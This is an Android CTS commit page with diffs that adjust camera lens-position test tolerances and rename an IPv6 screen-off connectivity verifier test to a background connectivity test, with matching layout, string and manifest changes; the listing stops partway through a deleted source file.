Merge "Add rel no in csv files"

commit: edbdb82b3463502fe16ab92ce27dd7fd1fe1eae4 [log] [tgz]
author: Sam Lin <samlin@google.com> Wed May 23 17:51:09 2018 +0000
committer: Android (Google) Code Review <android-gerrit@google.com> Wed May 23 17:51:09 2018 +0000
tree: 6635ed1a359a8d03cc9b4736faa0a9c1d408a364
parent: bc5d3c035a4bebb725d73999e82d48102147065e [diff]
parent: 6d03af8260972a7676055c99b59a7e61942fca04 [diff]
diff --git a/apps/CameraITS/tests/scene3/test_lens_position.py b/apps/CameraITS/tests/scene3/test_lens_position.py
index 2ca7686..3978081 100644
--- a/apps/CameraITS/tests/scene3/test_lens_position.py
+++ b/apps/CameraITS/tests/scene3/test_lens_position.py

@@ -23,8 +23,8 @@
 
 NUM_TRYS = 2
 NUM_STEPS = 6
-SHARPNESS_TOL = 10  # percentage
-POSITION_TOL = 10  # percentage
+SHARPNESS_TOL = 0.1
+POSITION_TOL = 0.1
 FRAME_TIME_TOL = 10  # ms
 VGA_WIDTH = 640
 VGA_HEIGHT = 480
@@ -159,14 +159,19 @@
         print 'Asserting static lens locations/sharpness are similar'
         for i in range(len(d_stat)/2):
             j = 2 * NUM_STEPS - 1 - i
-            print (' lens position: %.3f'
-                   % d_stat[i]['fd'])
+            rw_msg = 'fd_write: %.3f, fd_read: %.3f, RTOL: %.2f' % (
+                    d_stat[i]['fd'], d_stat[i]['loc'], POSITION_TOL)
+            fr_msg = 'loc_fwd: %.3f, loc_rev: %.3f, RTOL: %.2f' % (
+                    d_stat[i]['loc'], d_stat[j]['loc'], POSITION_TOL)
+            s_msg = 'sharpness_fwd: %.3f, sharpness_rev: %.3f, RTOL: %.2f' % (
+                    d_stat[i]['sharpness'], d_stat[j]['sharpness'],
+                    SHARPNESS_TOL)
             assert np.isclose(d_stat[i]['loc'], d_stat[i]['fd'],
-                              rtol=POSITION_TOL/100.0)
+                              rtol=POSITION_TOL), rw_msg
             assert np.isclose(d_stat[i]['loc'], d_stat[j]['loc'],
-                              rtol=POSITION_TOL/100.0)
+                              rtol=POSITION_TOL), fr_msg
             assert np.isclose(d_stat[i]['sharpness'], d_stat[j]['sharpness'],
-                              rtol=SHARPNESS_TOL/100.0)
+                              rtol=SHARPNESS_TOL), s_msg
         # assert moving frames approximately consecutive with even distribution
         print 'Asserting moving frames are consecutive'
         times = [v['timestamp'] for v in d_move.itervalues()]
@@ -175,9 +180,10 @@
         # assert reported location/sharpness is correct in moving frames
         print 'Asserting moving lens locations/sharpness are similar'
         for i in range(len(d_move)):
-            print ' lens position: %.3f' % d_stat[i]['fd']
+            m_msg = 'static: %.3f, moving: %.3f, RTOL: %.2f' % (
+                    d_stat[i]['loc'], d_move[i]['loc'], POSITION_TOL)
             assert np.isclose(d_stat[i]['loc'], d_move[i]['loc'],
-                              rtol=POSITION_TOL)
+                              rtol=POSITION_TOL), m_msg
             if d_move[i]['lens_moving'] and i > 0:
                 if d_stat[i]['sharpness'] > d_stat[i-1]['sharpness']:
                     assert (d_stat[i]['sharpness']*(1.0+SHARPNESS_TOL) >
@@ -188,8 +194,9 @@
                             d_move[i]['sharpness'] >
                             d_stat[i]['sharpness']*(1.0-SHARPNESS_TOL))
             elif not d_move[i]['lens_moving']:
-                assert np.isclose(d_stat[i]['sharpness'],
-                                  d_move[i]['sharpness'], rtol=SHARPNESS_TOL)
+                assert np.isclose(
+                        d_stat[i]['sharpness'], d_move[i]['sharpness'],
+                        rtol=SHARPNESS_TOL)
             else:
                 raise its.error.Error('Lens is moving at frame 0!')
 

diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 94a3f12..cc95a2a 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml

@@ -1265,8 +1265,8 @@
                 </intent-filter>
         </activity>
 
-        <activity android:name=".net.ConnectivityScreenOffTestActivity"
-                android:label="@string/network_screen_off_test">
+        <activity android:name=".net.ConnectivityBackgroundTestActivity"
+                android:label="@string/network_background_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />

diff --git a/apps/CtsVerifier/res/layout/network_background.xml b/apps/CtsVerifier/res/layout/network_background.xml
new file mode 100644
index 0000000..3e073bf
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/network_background.xml

@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        style="@style/RootLayoutPadding">
+
+    <Button android:id="@+id/start_btn"
+            android:text="@string/network_background_test_start"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_centerHorizontal="true"
+            />
+
+    <ScrollView android:id="@+id/scroll"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:layout_weight="1"
+            android:layout_below="@id/start_btn"
+            android:layout_above="@id/pass_fail_buttons"
+            >
+        <TextView android:id="@+id/text"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                style="@style/InstructionsFont"
+                />
+    </ScrollView>
+
+    <include android:id="@+id/pass_fail_buttons"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:layout_alignParentBottom="true"
+            layout="@layout/pass_fail_buttons" />
+</RelativeLayout>

diff --git a/apps/CtsVerifier/res/layout/network_screen_off.xml b/apps/CtsVerifier/res/layout/network_screen_off.xml
deleted file mode 100644
index c0eeee8..0000000
--- a/apps/CtsVerifier/res/layout/network_screen_off.xml
+++ /dev/null

@@ -1,47 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
-        android:layout_width="match_parent"
-        android:layout_height="match_parent"
-        style="@style/RootLayoutPadding">
-
-    <Button android:id="@+id/start_btn"
-            android:text="@string/network_screen_off_test_start"
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:layout_centerHorizontal="true"
-            />
-
-    <ScrollView android:id="@+id/scroll"
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:layout_weight="1"
-            android:layout_below="@id/start_btn"
-            android:layout_above="@id/pass_fail_buttons"
-            >
-        <TextView android:id="@+id/text"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                style="@style/InstructionsFont"
-                />
-    </ScrollView>
-
-    <include android:id="@+id/pass_fail_buttons"
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:layout_alignParentBottom="true"
-            layout="@layout/pass_fail_buttons" />
-</RelativeLayout>

diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index a19d124..c2eabd2 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml

@@ -636,20 +636,20 @@
     <string name="location_emergency_call_message_test">Emergency Call Message Test</string>
     <string name="location_emergency_call_wifi_test">Emergency Call Wifi Test</string>
 
-    <!-- Strings for net.ConnectivityScreenOffTestActivity -->
-    <string name="network_screen_off_test">Network Connectivity Screen Off Test</string>
-    <string name="network_screen_off_test_instructions">
+    <!-- Strings for ConnectivityBackgroundTestActivity -->
+    <string name="network_background_test">Network Background Connectivity Test</string>
+    <string name="network_background_test_instructions">
         This test verifies that IPv6 network connectivity continues to work
-        when the screen is off.\n\n
+        when the screen is off or is idle for some time.\n\n
 
         1. Join a Wi-Fi network with IPv6 Internet access.\n
         2. If the device has battery power, disconnect all power connectors.\n
-        3. Turn the screen off.\n
-        4. Wait until the screen turns on (it will take at least two minutes).\n
+        3. Turn the screen off if possible.\n
+        4. Wait until the screen turns on or the test result is displayed (it will take at least two minutes).\n
         5. If necessary, unlock the device.\n
         6. Please mark the test according to the result status indicated.\n
     </string>
-    <string name="network_screen_off_test_start">Start</string>
+    <string name="network_background_test_start">Start</string>
 
     <!-- Strings for NfcTestActivity -->
     <string name="nfc_test">NFC Test</string>

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/net/ConnectivityBackgroundTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/net/ConnectivityBackgroundTestActivity.java
new file mode 100644
index 0000000..496bbe4
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/net/ConnectivityBackgroundTestActivity.java

@@ -0,0 +1,661 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.net;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.graphics.Typeface;
+import android.net.ConnectivityManager;
+import android.net.ConnectivityManager.NetworkCallback;
+import android.net.LinkAddress;
+import android.net.LinkProperties;
+import android.net.Network;
+import android.net.NetworkRequest;
+import android.os.BatteryManager;
+import android.os.Bundle;
+import android.os.PowerManager;
+import android.os.SystemClock;
+import android.util.Log;
+import android.view.View;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+import android.widget.ScrollView;
+import android.widget.TextView;
+
+import java.io.BufferedReader;
+import java.io.InputStreamReader;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.net.Inet6Address;
+import java.net.InetAddress;
+import java.net.HttpURLConnection;
+import java.net.UnknownHostException;
+import java.net.URL;
+import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.Random;
+
+import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
+import static android.net.NetworkCapabilities.TRANSPORT_WIFI;
+
+/**
+ * A CTS Verifier test case for testing IPv6 network background connectivity.
+ *
+ * This tests that Wi-Fi implementations are compliant with section 7.4.5
+ * ("Minimum Network Capability") of the CDD. Specifically, it requires that: "unicast IPv6
+ * packets sent to the device MUST NOT be dropped, even when the screen is not in an active
+ * state."
+ *
+ * The verification is attempted as follows:
+ *
+ *     [1] The device must have Wi-Fi capability.
+ *     [2] The device must join an IPv6-capable network (basic IPv6 connectivity to an
+ *         Internet resource is tested).
+ *     [3] If the device has a battery, the device must be disconnected from any power source.
+ *     [4] The screen is put to sleep if this feature supported.
+ *     [5] After two minutes, another IPv6 connectivity test is performed.
+ */
+public class ConnectivityBackgroundTestActivity extends PassFailButtons.Activity {
+
+    private static final String TAG = ConnectivityBackgroundTestActivity.class.getSimpleName();
+    private static final String V6CONN_URL = "https://ipv6.google.com/generate_204";
+    private static final String V6ADDR_URL = "https://google-ipv6test.appspot.com/ip.js?fmt=text";
+
+    private static final long MIN_SCREEN_OFF_MS = 1000 * (30 + (long) new Random().nextInt(51));
+    private static final long MIN_POWER_DISCONNECT_MS = MIN_SCREEN_OFF_MS;
+
+    private final Object mLock;
+    private final AppState mState;
+    private BackgroundTestingThread mTestingThread;
+
+    private final ScreenAndPlugStateReceiver mReceiver;
+    private final IntentFilter mIntentFilter;
+    private boolean mWaitForPowerDisconnected;
+
+    private PowerManager mPowerManager;
+    private PowerManager.WakeLock mWakeLock;
+    private ConnectivityManager mCM;
+    private NetworkCallback mNetworkCallback;
+
+    private ScrollView mScrollView;
+    private TextView mTextView;
+    private long mUserActivityTimeout = -1;
+
+
+    public ConnectivityBackgroundTestActivity() {
+        mLock = new Object();
+        mState = new AppState();
+
+        mReceiver = new ScreenAndPlugStateReceiver();
+
+        mIntentFilter = new IntentFilter();
+        mIntentFilter.addAction(Intent.ACTION_SCREEN_ON);
+        mIntentFilter.addAction(Intent.ACTION_SCREEN_OFF);
+        mIntentFilter.addAction(Intent.ACTION_POWER_CONNECTED);
+        mIntentFilter.addAction(Intent.ACTION_POWER_DISCONNECTED);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        configureFromSystemServices();
+        setupUserInterface();
+    }
+
+    @Override
+    protected void onDestroy() {
+        clearNetworkCallback();
+        stopAnyExistingTestingThread();
+        unregisterReceiver(mReceiver);
+        mWakeLock.release();
+        super.onDestroy();
+    }
+
+    private void setupUserInterface() {
+        setContentView(R.layout.network_background);
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+        setInfoResources(
+                R.string.network_background_test,
+                R.string.network_background_test_instructions,
+                -1);
+
+        mScrollView = (ScrollView) findViewById(R.id.scroll);
+        mTextView = (TextView) findViewById(R.id.text);
+        mTextView.setTypeface(Typeface.MONOSPACE);
+        mTextView.setTextSize(14.0f);
+
+        // Get the start button and attach the listener.
+        getStartButton().setOnClickListener(new View.OnClickListener() {
+            @Override
+            public void onClick(View v) {
+                getStartButton().setEnabled(false);
+                startTest();
+            }
+        });
+    }
+
+    private void configureFromSystemServices() {
+        final Intent batteryInfo = registerReceiver(
+                null, new IntentFilter(Intent.ACTION_BATTERY_CHANGED));
+
+        // Whether or not this device (currently) has a battery.
+        mWaitForPowerDisconnected =
+                batteryInfo.getBooleanExtra(BatteryManager.EXTRA_PRESENT, false)
+                        && !hasPersistentPower();
+
+        // Check if the device is already on battery power.
+        if (mWaitForPowerDisconnected) {
+            BatteryManager battMgr = (BatteryManager) getSystemService(Context.BATTERY_SERVICE);
+            if (!battMgr.isCharging()) {
+                mState.setPowerDisconnected();
+            }
+        }
+
+        mPowerManager = (PowerManager) getSystemService(Context.POWER_SERVICE);
+        mWakeLock = mPowerManager.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, TAG);
+        mWakeLock.acquire();
+
+        registerReceiver(mReceiver, mIntentFilter);
+
+        mCM = (ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE);
+    }
+
+    private void clearNetworkCallback() {
+        if (mNetworkCallback != null) {
+            mCM.unregisterNetworkCallback(mNetworkCallback);
+            mNetworkCallback = null;
+        }
+    }
+
+    private void stopAnyExistingTestingThread() {
+        synchronized (mLock) {
+            if (mTestingThread != null) {
+                // The testing thread will observe this and exit on its own (eventually).
+                mTestingThread.setStopped();
+            }
+        }
+    }
+
+    private void setTestPassing() {
+        logAndUpdate("Test PASSED!");
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                getPassButton().setEnabled(true);
+            }
+        });
+    }
+
+    private void logAndUpdate(final String msg) {
+        Log.d(TAG, msg);
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mTextView.append(msg);
+                mTextView.append("\n");
+                mScrollView.fullScroll(View.FOCUS_DOWN);  // Scroll to bottom
+            }
+        });
+    }
+
+    private Button getStartButton() {
+        return (Button) findViewById(R.id.start_btn);
+    }
+
+    private void setUserActivityTimeout(long timeout) {
+        final LayoutParams params = getWindow().getAttributes();
+
+        try {
+            final Field field = params.getClass().getField("userActivityTimeout");
+            // Save the original value.
+            if (mUserActivityTimeout < 0) {
+                mUserActivityTimeout = field.getLong(params);
+                Log.d(TAG, "saving userActivityTimeout: " + mUserActivityTimeout);
+            }
+            field.setLong(params, 1);
+        } catch (NoSuchFieldException e) {
+            Log.d(TAG, "No luck with userActivityTimeout: ", e);
+            return;
+        } catch (IllegalAccessException e) {
+            Log.d(TAG, "No luck with userActivityTimeout: ", e);
+            return;
+        }
+
+        getWindow().setAttributes(params);
+    }
+
+    private void tryScreenOff() {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                setUserActivityTimeout(1);
+            }
+        });
+    }
+
+    private void tryScreenOn() {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                PowerManager.WakeLock screenOnLock = mPowerManager.newWakeLock(
+                        PowerManager.FULL_WAKE_LOCK
+                        | PowerManager.ACQUIRE_CAUSES_WAKEUP
+                        | PowerManager.ON_AFTER_RELEASE, TAG + ":screenOn");
+                screenOnLock.acquire();
+                setUserActivityTimeout((mUserActivityTimeout > 0)
+                        ? mUserActivityTimeout
+                        : 30);  // No good value to restore, use 30 seconds.
+                screenOnLock.release();
+            }
+        });
+    }
+
+    private void startTest() {
+        clearNetworkCallback();
+        stopAnyExistingTestingThread();
+        mTextView.setText("");
+        logAndUpdate("Starting test...");
+
+        mCM.registerNetworkCallback(
+                new NetworkRequest.Builder()
+                        .addTransportType(TRANSPORT_WIFI)
+                        .addCapability(NET_CAPABILITY_INTERNET)
+                        .build(),
+                createNetworkCallback());
+
+        new BackgroundTestingThread().start();
+    }
+
+    /**
+     * TODO(ek): Evaluate reworking the code roughly as follows:
+     *     - Move all the shared state here, including mWaitForPowerDisconnected
+     *       (and mTestingThread).
+     *     - Move from synchronizing on mLock to synchronizing on this since the
+     *       AppState object is final, and delete mLock.
+     *     - Synchronize the methods below, and add some required new methods.
+     *     - Remove copying entire state into the BackgroundTestingThread.
+     */
+    class AppState {
+        Network mNetwork;
+        LinkProperties mLinkProperties;
+        long mScreenOffTime;
+        long mPowerDisconnectTime;
+        boolean mPassedInitialIPv6Check;
+
+        void setNetwork(Network network) {
+            mNetwork = network;
+            mLinkProperties = null;
+            mPassedInitialIPv6Check = false;
+        }
+
+        void setScreenOn() { mScreenOffTime = 0; }
+        void setScreenOff() { mScreenOffTime = SystemClock.elapsedRealtime(); }
+        boolean validScreenStateForTesting() {
+            return ((mScreenOffTime > 0) || !requiresScreenOffSupport()); }
+
+        void setPowerConnected() { mPowerDisconnectTime = 0; }
+        void setPowerDisconnected() { mPowerDisconnectTime = SystemClock.elapsedRealtime(); }
+        boolean validPowerStateForTesting() {
+            return !mWaitForPowerDisconnected || (mPowerDisconnectTime > 0);
+        }
+    }
+
+    class ScreenAndPlugStateReceiver extends BroadcastReceiver {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            String action = intent.getAction();
+            if (Intent.ACTION_SCREEN_ON.equals(action)) {
+                Log.d(TAG, "got ACTION_SCREEN_ON");
+                synchronized (mLock) {
+                    mState.setScreenOn();
+                    mLock.notify();
+                }
+            } else if (Intent.ACTION_SCREEN_OFF.equals(action)) {
+                Log.d(TAG, "got ACTION_SCREEN_OFF");
+                synchronized (mLock) {
+                    mState.setScreenOff();
+                    mLock.notify();
+                }
+            } else if (Intent.ACTION_POWER_CONNECTED.equals(action)) {
+                Log.d(TAG, "got ACTION_POWER_CONNECTED");
+                synchronized (mLock) {
+                    mState.setPowerConnected();
+                    mLock.notify();
+                }
+            } else if (Intent.ACTION_POWER_DISCONNECTED.equals(action)) {
+                Log.d(TAG, "got ACTION_POWER_DISCONNECTED");
+                synchronized (mLock) {
+                    mState.setPowerDisconnected();
+                    mLock.notify();
+                }
+            }
+        }
+    }
+
+    private NetworkCallback createNetworkCallback() {
+        return new NetworkCallback() {
+            @Override
+            public void onAvailable(Network network) {
+                synchronized (mLock) {
+                    mState.setNetwork(network);
+                    mLock.notify();
+                }
+            }
+
+            @Override
+            public void onLost(Network network) {
+                synchronized (mLock) {
+                    if (network.equals(mState.mNetwork)) {
+                        mState.setNetwork(null);
+                        mLock.notify();
+                    }
+                }
+            }
+
+            @Override
+            public void onLinkPropertiesChanged(Network network, LinkProperties newLp) {
+                synchronized (mLock) {
+                    if (network.equals(mState.mNetwork)) {
+                        mState.mLinkProperties = newLp;
+                        mLock.notify();
+                    }
+                }
+            }
+        };
+    }
+
+    private class BackgroundTestingThread extends Thread {
+        final int POLLING_INTERVAL_MS = 5000;
+        final int CONNECTIVITY_CHECKING_INTERVAL_MS = 1000 + 100 * (new Random().nextInt(20));
+        final int MAX_CONNECTIVITY_CHECKS = 3;
+        final AppState localState = new AppState();
+        final AtomicBoolean isRunning = new AtomicBoolean(false);
+        int numConnectivityChecks = 0;
+        int numConnectivityChecksPassing = 0;
+
+        @Override
+        public void run() {
+            Log.d(TAG, getId() + " started");
+
+            maybeWaitForPreviousThread();
+
+            try {
+                mainLoop();
+            } finally {
+                runOnUiThread(new Runnable() {
+                    @Override
+                    public void run() {
+                        getStartButton().setEnabled(true);
+                    }
+                });
+                tryScreenOn();
+            }
+
+            synchronized (mLock) { mTestingThread = null; }
+
+            Log.d(TAG, getId() + " exiting");
+        }
+
+        private void mainLoop() {
+            int nextSleepDurationMs = 0;
+
+            while (stillRunning()) {
+                awaitNotification(nextSleepDurationMs);
+                if (!stillRunning()) { break; }
+                nextSleepDurationMs = POLLING_INTERVAL_MS;
+
+                if (localState.mNetwork == null) {
+                    logAndUpdate("waiting for available network");
+                    continue;
+                }
+
+                if (localState.mLinkProperties == null) {
+                    synchronized (mLock) {
+                        mState.mLinkProperties = mCM.getLinkProperties(mState.mNetwork);
+                        dupStateLocked();
+                    }
+                }
+
+                if (!localState.mPassedInitialIPv6Check) {
+                    if (!hasBasicIPv6Connectivity()) {
+                        logAndUpdate("waiting for basic IPv6 connectivity");
+                        continue;
+                    }
+                    synchronized (mLock) {
+                        mState.mPassedInitialIPv6Check = true;
+                    }
+                }
+
+                if (!localState.validPowerStateForTesting()) {
+                    resetConnectivityCheckStatistics();
+                    logAndUpdate("waiting for ACTION_POWER_DISCONNECTED");
+                    continue;
+                }
+
+                if (!localState.validScreenStateForTesting()) {
+                    resetConnectivityCheckStatistics();
+                    tryScreenOff();
+                    logAndUpdate("waiting for ACTION_SCREEN_OFF");
+                    continue;
+                }
+
+                if ((localState.mScreenOffTime == 0) && !requiresScreenOffSupport()) {
+                    // mScreenOffTime may never be initialized on some devices
+                    // so do it now regardless of screen state to let the test start
+                    // on devices where screen-off function support is not required
+                    mState.setScreenOff();
+                }
+
+                if (mWaitForPowerDisconnected) {
+                    final long delta = SystemClock.elapsedRealtime() - localState.mPowerDisconnectTime;
+                    if (delta < MIN_POWER_DISCONNECT_MS) {
+                        nextSleepDurationMs = (int) (MIN_POWER_DISCONNECT_MS - delta);
+                        // Not a lot of point in going to sleep for fewer than 500ms.
+                        if (nextSleepDurationMs > 500) {
+                            Log.d(TAG, "waiting for power to be disconnected for at least "
+                                    + MIN_POWER_DISCONNECT_MS + "ms, "
+                                    + nextSleepDurationMs + "ms left.");
+                            continue;
+                        }
+                    }
+                }
+
+                final long delta = SystemClock.elapsedRealtime() - localState.mScreenOffTime;
+                if (delta < MIN_SCREEN_OFF_MS) {
+                    nextSleepDurationMs = (int) (MIN_SCREEN_OFF_MS - delta);
+                    // Not a lot of point in going to sleep for fewer than 500ms.
+                    if (nextSleepDurationMs > 500) {
+                        Log.d(TAG, "waiting for screen to be off for at least "
+                                + MIN_SCREEN_OFF_MS + "ms, "
+                                + nextSleepDurationMs + "ms left.");
+                        continue;
+                    }
+                }
+
+                numConnectivityChecksPassing += hasGlobalIPv6Connectivity() ? 1 : 0;
+                numConnectivityChecks++;
+                if (numConnectivityChecks >= MAX_CONNECTIVITY_CHECKS) {
+                    break;
+                }
+                nextSleepDurationMs = CONNECTIVITY_CHECKING_INTERVAL_MS;
+            }
+
+            if (!stillRunning()) { return; }
+
+            // We require that 100% of IPv6 HTTPS queries succeed.
+            if (numConnectivityChecksPassing == MAX_CONNECTIVITY_CHECKS) {
+                setTestPassing();
+            } else {
+                logAndUpdate("Test FAILED with score: "
+                        + numConnectivityChecksPassing + "/" + MAX_CONNECTIVITY_CHECKS);
+            }
+        }
+
+        private boolean stillRunning() {
+            return isRunning.get();
+        }
+
+        public void setStopped() {
+            isRunning.set(false);
+        }
+
+        private void maybeWaitForPreviousThread() {
+            BackgroundTestingThread previousThread;
+            synchronized (mLock) {
+                previousThread = mTestingThread;
+            }
+
+            if (previousThread != null) {
+                previousThread.setStopped();
+                try {
+                    previousThread.join();
+                } catch (InterruptedException ignored) {}
+            }
+
+            synchronized (mLock) {
+                if (mTestingThread == null || mTestingThread == previousThread) {
+                    mTestingThread = this;
+                    isRunning.set(true);
+                }
+            }
+        }
+
+        private void dupStateLocked() {
+            localState.mNetwork = mState.mNetwork;
+            localState.mLinkProperties = mState.mLinkProperties;
+            localState.mScreenOffTime = mState.mScreenOffTime;
+            localState.mPowerDisconnectTime = mState.mPowerDisconnectTime;
+            localState.mPassedInitialIPv6Check = mState.mPassedInitialIPv6Check;
+        }
+
+        private void awaitNotification(int timeoutMs) {
+            synchronized (mLock) {
+                if (timeoutMs > 0) {
+                    try {
+                        mLock.wait(timeoutMs);
+                    } catch (InterruptedException e) {}
+                }
+                dupStateLocked();
+            }
+        }
+
+        private void resetConnectivityCheckStatistics() {
+            numConnectivityChecks = 0;
+            numConnectivityChecksPassing = 0;
+        }
+
+        boolean hasBasicIPv6Connectivity() {
+            final HttpResult result = getHttpResource(localState.mNetwork, V6CONN_URL, true);
+            if (result.rcode != 204) {
+                if (result.msg != null && !result.msg.isEmpty()) {
+                    logAndUpdate(result.msg);
+                }
+                return false;
+            }
+            return true;
+        }
+
+        boolean hasGlobalIPv6Connectivity() {
+            final boolean doClose = ((numConnectivityChecks % 2) == 0);
+            final HttpResult result = getHttpResource(localState.mNetwork, V6ADDR_URL, doClose);
+            if (result.rcode != 200) {
+                if (result.msg != null && !result.msg.isEmpty()) {
+                    logAndUpdate(result.msg);
+                }
+                return false;
+            }
+
+            InetAddress reflectedIp;
+            try {
+                // TODO: replace with Os.inet_pton().
+                reflectedIp = InetAddress.getByName(result.msg);
+            } catch (UnknownHostException e) {
+                logAndUpdate("Failed to parse '" + result.msg + "' as an IP address");
+                return false;
+            }
+            if (!(reflectedIp instanceof Inet6Address)) {
+                logAndUpdate(reflectedIp.getHostAddress() + " is not a valid IPv6 address");
+                return false;
+            }
+
+            for (LinkAddress linkAddr : localState.mLinkProperties.getLinkAddresses()) {
+                if (linkAddr.getAddress().equals(reflectedIp)) {
+                    logAndUpdate("Found reflected IP " + linkAddr.getAddress().getHostAddress());
+                    return true;
+                }
+            }
+
+            logAndUpdate("Link IP addresses do not include: " + reflectedIp.getHostAddress());
+            return false;
+        }
+    }
+
+    private static class HttpResult {
+        public final int rcode;
+        public final String msg;
+
+        public HttpResult(int rcode, String msg) {
+            this.rcode = rcode;
+            this.msg = msg;
+        }
+    }
+
+    private static HttpResult getHttpResource(
+            final Network network, final String url, boolean doClose) {
+        int rcode = -1;
+        String msg = null;
+
+        try {
+            final HttpURLConnection conn =
+                    (HttpURLConnection) network.openConnection(new URL(url));
+            conn.setConnectTimeout(10 * 1000);
+            conn.setReadTimeout(10 * 1000);
+            if (doClose) { conn.setRequestProperty("connection", "close"); }
+            rcode = conn.getResponseCode();
+            if (rcode >= 200 && rcode <= 299) {
+                msg = new BufferedReader(new InputStreamReader(conn.getInputStream())).readLine();
+            }
+            if (doClose) { conn.disconnect(); }  // try not to have reusable sessions
+        } catch (IOException e) {
+            msg = "HTTP GET of '" + url + "' encountered " + e;
+        }
+
+        return new HttpResult(rcode, msg);
+    }
+
+    private boolean hasPersistentPower() {
+        // Cars and TVsets are always connected to the persistent power source
+        final PackageManager pm = getPackageManager();
+        return (pm != null
+                && (pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
+                    || pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)));
+    }
+
+    private boolean requiresScreenOffSupport() {
+        // Cars may not support screen-off function
+        final PackageManager pm = getPackageManager();
+        return (pm != null
+                && !pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE));
+    }
+
+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/net/ConnectivityScreenOffTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/net/ConnectivityScreenOffTestActivity.java
deleted file mode 100644
index 6109893..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/net/ConnectivityScreenOffTestActivity.java
+++ /dev/null

@@ -1,642 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.net;
-
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.PackageManager;
-import android.graphics.Typeface;
-import android.net.ConnectivityManager;
-import android.net.ConnectivityManager.NetworkCallback;
-import android.net.LinkAddress;
-import android.net.LinkProperties;
-import android.net.Network;
-import android.net.NetworkCapabilities;
-import android.net.NetworkRequest;
-import android.os.BatteryManager;
